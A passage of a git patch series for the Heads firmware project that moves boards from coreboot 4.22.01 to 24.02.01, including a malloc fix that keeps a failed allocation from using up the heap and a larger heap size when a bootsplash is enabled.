CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 # end of Display CONFIG_PCI=y diff --git a/patches/coreboot-24.02.01/0001-prevent_bootsplash_heap_allocation_failure_to_booting.patch b/patches/coreboot-24.02.01/0001-prevent_bootsplash_heap_allocation_failure_to_booting.patch new file mode 100644 index 000000000..3913ba10c --- /dev/null +++ b/patches/coreboot-24.02.01/0001-prevent_bootsplash_heap_allocation_failure_to_booting.patch @@ -0,0 +1,80 @@ +From 8b6fc3a877d8169091d034ea6ac6d15593cc69a0 Mon Sep 17 00:00:00 2001 +From: Jonathon Hall +Date: Mon, 15 Jul 2024 15:01:52 -0400 +Subject: [PATCH] src/lib/malloc.c: If allocation fails, leave the heap + unchanged + +If an allocation fails because it is too large for the rest of the heap, +don't consume the rest of the heap needlessly. + +This started occurring with the Heads bootsplash image in 24.02.01, +following the switch to the Wuffs JPEG decoder. The work area needed +was too large for the heap. The bootsplash failed to show, but worse, +the boot failed entirely because we were then out of heap space, even +though we did not actually use the large allocation that failed. + +With this change, that failure no longer prevents boot. + +The error message is improved slightly also: +* missing line break is added +* "Tried to round up" now shows the beginning of the allocation before + and after rounding instead of the unrounded beginning and rounded end + (misleading, looked like it was trying to align by 1 MB when it + was actually allocating 1 MB) + +Change-Id: Ie72814027d9daa517c0794f3ea7abec2b9a9d596 +Signed-off-by: Jonathon Hall +--- + src/lib/malloc.c | 25 ++++++++++++------------- + 1 file changed, 12 insertions(+), 13 deletions(-) + +diff --git a/src/lib/malloc.c b/src/lib/malloc.c +index 30298064d9..281792c3d5 100644 +--- a/src/lib/malloc.c ++++ b/src/lib/malloc.c +@@ -26,30 +26,29 @@ void *memalign(size_t boundary, size_t size) + MALLOCDBG("%s Enter, boundary %zu, size %zu, free_mem_ptr %p\n", + __func__, boundary, size, free_mem_ptr); + +- free_mem_ptr = (void *)ALIGN_UP((unsigned long)free_mem_ptr, boundary); ++ p = (void *)ALIGN_UP((unsigned long)free_mem_ptr, boundary); + +- p = free_mem_ptr; +- free_mem_ptr += size; +- /* +- * Store last allocation pointer after ALIGN, as malloc() will +- * return it. This may cause n bytes of gap between allocations +- * where n < boundary. +- */ +- free_last_alloc_ptr = p; +- +- if (free_mem_ptr >= free_mem_end_ptr) { ++ if (p + size >= free_mem_end_ptr) { + printk(BIOS_ERR, "%s(boundary=%zu, size=%zu): failed: ", + __func__, boundary, size); + printk(BIOS_ERR, "Tried to round up free_mem_ptr %p to %p\n", +- p, free_mem_ptr); ++ free_mem_ptr, p); + printk(BIOS_ERR, "but free_mem_end_ptr is %p\n", + free_mem_end_ptr); + printk(BIOS_ERR, "Error! %s: Out of memory " +- "(free_mem_ptr >= free_mem_end_ptr)", ++ "(free_mem_ptr >= free_mem_end_ptr)\n", + __func__); + return NULL; + } + ++ free_mem_ptr = p + size; ++ /* ++ * Store last allocation pointer after ALIGN, as malloc() will ++ * return it. This may cause n bytes of gap between allocations ++ * where n < boundary. ++ */ ++ free_last_alloc_ptr = p; ++ + MALLOCDBG("%s %p\n", __func__, p); + + return p; +-- +2.39.2 + diff --git a/patches/coreboot-24.02.01/0002-increase_heap_from1mb_to4mb_when_bootpslash_enabled.patch b/patches/coreboot-24.02.01/0002-increase_heap_from1mb_to4mb_when_bootpslash_enabled.patch new file mode 100644 index 000000000..a31118c14 --- /dev/null +++ b/patches/coreboot-24.02.01/0002-increase_heap_from1mb_to4mb_when_bootpslash_enabled.patch @@ -0,0 +1,44 @@ +From 00d695849a5fb503d87203e3515f761fa8dac850 Mon Sep 17 00:00:00 2001 +From: Jonathon Hall +Date: Mon, 15 Jul 2024 16:37:40 -0400 +Subject: [PATCH] bootsplash: Increase heap from 1 MB to 4 MB when bootsplash + is enabled + +Since commit 1d029b40c9de ("lib/jpeg: Replace decoder with Wuffs' +implementation"), a relatively large heap allocation is needed to +decode many JPEGs for use as work area. The prior decoder did not need +this, but also had many limitations in the JPEGs it could decode. + +A 1024x768 non-progressive JPEG used in Heads needs 1179648 bytes of +work area; about 1.2 MB. While the work area will also depend on the +subsampling of each channel, it's generally proportional to the image +size. + +Increasing the heap size to 4 MB when bootsplash is enabled should be +enough to decode bootsplashes up to 1920x1080 with some headroom. + +Change-Id: Ia4348d39effbc16c1b42ab01bcf1e4ec5d652fa9 +Signed-off-by: Jonathon Hall +--- + src/device/Kconfig | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/src/device/Kconfig b/src/device/Kconfig +index 243e23e52a..4dd03eba21 100644 +--- a/src/device/Kconfig ++++ b/src/device/Kconfig +@@ -501,6 +501,11 @@ config BOOTSPLASH + image in the 'General' section or add it manually to CBFS, using, + for example, cbfstool. + ++# The bootsplash JPEG decoder requires heap space approximately proportional to ++# the image size. This usually needs a larger heap. ++config HEAP_SIZE ++ default 0x400000 if BOOTSPLASH ++ + config LINEAR_FRAMEBUFFER_MAX_WIDTH + int "Maximum width in pixels" + depends on LINEAR_FRAMEBUFFER && MAINBOARD_USE_LIBGFXINIT +-- +2.39.2 + From f29c16d97716fe8f693c97404a4ab7cedbc9b101 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 10 Jul 2024 12:14:14 -0400 Subject: [PATCH 169/619] modules/coreboot: add 24.02.01 version Signed-off-by: Thierry Laurion --- modules/coreboot | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/coreboot b/modules/coreboot index fdb1878ab..67a820d5c 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -73,6 +73,10 @@ coreboot-4.22.01_hash := 3d1a36dfb2a654133c7f36cf4da436f0d79f535644069adfe7cdcad coreboot-blobs-4.22.01_hash := 4bb98f1a1cc8b3c7004a1d720462bfff0fe34a9106163df2708b952bddfc5203 $(eval $(call coreboot_module,4.22.01,)) +coreboot-24.02.01_hash := e56f5c0c9008bfdec1c4be6409ac093680140f9441efd3d5e47bdeffcbf77e50 +coreboot-blobs-24.02.01_hash := 8d03b82cd2b2593473d4cd511c7bef7fdd43839237f6c37a8383161660c14427 +$(eval $(call coreboot_module,24.02.01,)) + # coreboot git forks # talos_2 could use the 4.20.1 toolchain, but it's the only ppc64 fork, so From 646db06eb67a525c1e41be305fabd61bb11d4c76 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 10 Jul 2024 12:17:41 -0400 Subject: [PATCH 170/619] boards/*/*.config: bump coreboot 4.22.01 boards config to use 24.02.01 Signed-off-by: Thierry Laurion --- .../UNMAINTAINED_t530-maximized.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2.config | 2 +- .../qemu-coreboot-whiptail-tpm1-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm1.config | 2 +- .../qemu-coreboot-whiptail-tpm2-hotp.config | 2 +- .../qemu-coreboot-whiptail-tpm2.config | 2 +- boards/t420-hotp-maximized/t420-hotp-maximized.config | 2 +- boards/t420-maximized/t420-maximized.config | 2 +- boards/t430-hotp-maximized/t430-hotp-maximized.config | 2 +- boards/t430-maximized/t430-maximized.config | 2 +- boards/t440p-maximized/t440p-maximized.config | 2 +- boards/w530-hotp-maximized/w530-hotp-maximized.config | 2 +- boards/w530-maximized/w530-maximized.config | 2 +- boards/w541-maximized/w541-maximized.config | 2 +- boards/x220-hotp-maximized/x220-hotp-maximized.config | 2 +- boards/x220-maximized/x220-maximized.config | 2 +- boards/x230-hotp-legacy/x230-hotp-legacy.config | 2 +- .../x230-hotp-maximized-fhd_edp.config | 2 +- boards/x230-hotp-maximized/x230-hotp-maximized.config | 2 +- .../x230-hotp-maximized_usb-kb.config | 2 +- boards/x230-legacy-flash/x230-legacy-flash.config | 2 +- boards/x230-legacy/x230-legacy.config | 2 +- boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config | 2 +- boards/x230-maximized/x230-maximized.config | 2 +- boards/z220-cmt-maximized/z220-cmt-maximized.config | 2 +- 28 files changed, 28 insertions(+), 28 deletions(-) diff --git a/boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config b/boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config index f1b4900d3..6a604c932 100644 --- a/boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config +++ b/boards/UNMAINTAINED_t530-maximized/UNMAINTAINED_t530-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board is designed for a t530 without a dGPU. It will work just fine for a board with a dGPU, except you will not be able to use an external monitor via the mini-displayport or the dock's displayport, though external monitors will work via VGA ports. To initialize the dGPU please use one of the dgpu boards. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t530-maximized.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config index 1b4e30644..e455bbdfb 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp/qemu-coreboot-fbwhiptail-tpm1-hotp.config @@ -5,7 +5,7 @@ # Nitrokey Pro can also be used by forwarding the USB device from the host to # the VM. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config index f574b2e93..127b3a0d5 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1/qemu-coreboot-fbwhiptail-tpm1.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config index b091298be..11f6fccd9 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp/qemu-coreboot-fbwhiptail-tpm2-hotp.config @@ -4,7 +4,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config index 3d5024368..1619f8329 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2/qemu-coreboot-fbwhiptail-tpm2.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config index b5a00801c..4cea2c60a 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp/qemu-coreboot-whiptail-tpm1-hotp.config @@ -5,7 +5,7 @@ # Nitrokey Pro can also be used by forwarding the USB device from the host to # the VM. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config diff --git a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config index 8d3c7440e..7f787362e 100644 --- a/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config +++ b/boards/qemu-coreboot-whiptail-tpm1/qemu-coreboot-whiptail-tpm1.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 1.2). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config index 9c7f557ef..d7a606e7b 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp/qemu-coreboot-whiptail-tpm2-hotp.config @@ -4,7 +4,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config diff --git a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config index 1397cbc64..cdcd3946c 100644 --- a/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config +++ b/boards/qemu-coreboot-whiptail-tpm2/qemu-coreboot-whiptail-tpm2.config @@ -3,7 +3,7 @@ # # TPM can be used with a qemu software TPM (TIS, 2.0). export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index e1e3fc3b2..9a8a39a54 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -9,7 +9,7 @@ # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 97c1b7cf0..372a3b675 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -8,7 +8,7 @@ # Doesn't include (to fit in 7mb image) # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t420-maximized.config diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index 9a7839875..44c466e35 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -7,7 +7,7 @@ # # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-maximized.config diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index f8874bab2..32e9e0ff9 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -7,7 +7,7 @@ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-t430-maximized.config diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/t440p-maximized/t440p-maximized.config index 0fa54f92d..c1c9ac89d 100644 --- a/boards/t440p-maximized/t440p-maximized.config +++ b/boards/t440p-maximized/t440p-maximized.config @@ -4,7 +4,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-t440p.config CONFIG_LINUX_CONFIG=config/linux-t440p.config export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_CRYPTSETUP2=y diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index bdcd19a34..34318979d 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board ignores the in-built dGPU that comes with all w530's. In doing so the dGPU will not be initialized. This has some benefits in terms of reduced complexity in working with OS's with poor support for NVIDIA, better battery life and lower heat (making use of the thicker heatsink from a dGPU). Conversely, if you do not initialize the dGPU you will be unable to use an external monitor. To initialize the dGPU please use the dGPU boards that corresponds with the model of dGPU included with your device. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-maximized.config diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index ec1efd74b..7ee6cf1ec 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # This board ignores the in-built dGPU that comes with all w530's. In doing so the dGPU will not be initialized. This has some benefits in terms of reduced complexity in working with OS's with poor support for NVIDIA, better battery life and lower heat (making use of the thicker heatsink from a dGPU). Conversely, if you do not initialize the dGPU you will be unable to use an external monitor. To initialize the dGPU please use the dGPU boards that corresponds with the model of dGPU included with your device. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-w530-maximized.config diff --git a/boards/w541-maximized/w541-maximized.config b/boards/w541-maximized/w541-maximized.config index 1da0a1c82..fc720b34e 100644 --- a/boards/w541-maximized/w541-maximized.config +++ b/boards/w541-maximized/w541-maximized.config @@ -4,7 +4,7 @@ CONFIG_COREBOOT_CONFIG=config/coreboot-w541.config CONFIG_LINUX_CONFIG=config/linux-w541.config export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_CRYPTSETUP2=y diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index f0e7eba45..ce67877bb 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -9,7 +9,7 @@ # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 80887214f..992f89256 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -9,7 +9,7 @@ # - dropbear export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x220-maximized.config diff --git a/boards/x230-hotp-legacy/x230-hotp-legacy.config b/boards/x230-hotp-legacy/x230-hotp-legacy.config index 06749249b..960aded5d 100644 --- a/boards/x230-hotp-legacy/x230-hotp-legacy.config +++ b/boards/x230-hotp-legacy/x230-hotp-legacy.config @@ -8,7 +8,7 @@ # Addition vs standard x230 board config: # HOTP_KEY: HOTP challenge for currently supported USB Security dongles export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy.config diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index af1dd4d4c..31b43f108 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -19,7 +19,7 @@ # # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized-fhd_edp.config diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index bca5c5ade..a1f5c3cec 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -7,7 +7,7 @@ # # - Includes: Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 71459a220..987e8bb23 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -9,7 +9,7 @@ # Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) # USB Keyboard support export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config diff --git a/boards/x230-legacy-flash/x230-legacy-flash.config b/boards/x230-legacy-flash/x230-legacy-flash.config index 4e9e88c86..5122468c4 100644 --- a/boards/x230-legacy-flash/x230-legacy-flash.config +++ b/boards/x230-legacy-flash/x230-legacy-flash.config @@ -4,7 +4,7 @@ # IDEALLY you should flash maximized top and bottom rom images exteranlly once instead. export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy-flash.config diff --git a/boards/x230-legacy/x230-legacy.config b/boards/x230-legacy/x230-legacy.config index ba1f3978a..88d86fce9 100644 --- a/boards/x230-legacy/x230-legacy.config +++ b/boards/x230-legacy/x230-legacy.config @@ -4,7 +4,7 @@ # dropbear support(ssh client/server) # e1000e (ethernet driver) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-legacy.config diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index ae7b8d71a..b6e1016c4 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -19,7 +19,7 @@ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized-fhd_edp.config diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 4cccbf50f..eafb4d365 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -7,7 +7,7 @@ # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index ce1474395..ed6aa92a7 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -25,7 +25,7 @@ CONFIG_LINUX_CONFIG=config/linux-c216.config CONFIG_COREBOOT_CONFIG=config/coreboot-z220-cmt.config export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=4.22.01 +export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=5.10.5 CONFIG_CRYPTSETUP2=y From 6e237d9edd9b0c23336e87141c23a40667fd7345 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 10 Jul 2024 12:21:36 -0400 Subject: [PATCH 171/619] config/coreboot*: save new coreboot 24.02.01 coreboot configs in oldconfig (see new defaults from 4.22.01) grep -R 24.02.01 boards/ | awk -F "/" {'print $2'} | while read board; do sudo make BOARD=$board coreboot.save_in_oldconfig_format_in_place; done Signed-off-by: Thierry Laurion --- config/coreboot-qemu-tpm1.config | 16 +++++++------- config/coreboot-qemu-tpm2.config | 16 +++++++------- config/coreboot-t420-maximized.config | 14 +++++++----- config/coreboot-t430-maximized.config | 14 +++++++----- config/coreboot-t440p.config | 13 +++++++---- config/coreboot-t530-maximized.config | 14 +++++++----- config/coreboot-w530-maximized.config | 14 +++++++----- config/coreboot-w541.config | 13 +++++++---- config/coreboot-x220-maximized.config | 14 +++++++----- config/coreboot-x230-legacy-flash.config | 15 ++++++++----- config/coreboot-x230-legacy.config | 15 ++++++++----- config/coreboot-x230-maximized-fhd_edp.config | 15 ++++++++----- config/coreboot-x230-maximized.config | 15 ++++++++----- config/coreboot-z220-cmt.config | 22 +++++++++++-------- 14 files changed, 132 insertions(+), 78 deletions(-) diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index 5493f1be0..41ff1f99e 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -168,7 +168,6 @@ CONFIG_PCIEXP_ASPM=y # CONFIG_PCIEXP_CLK_PM is not set CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x8000 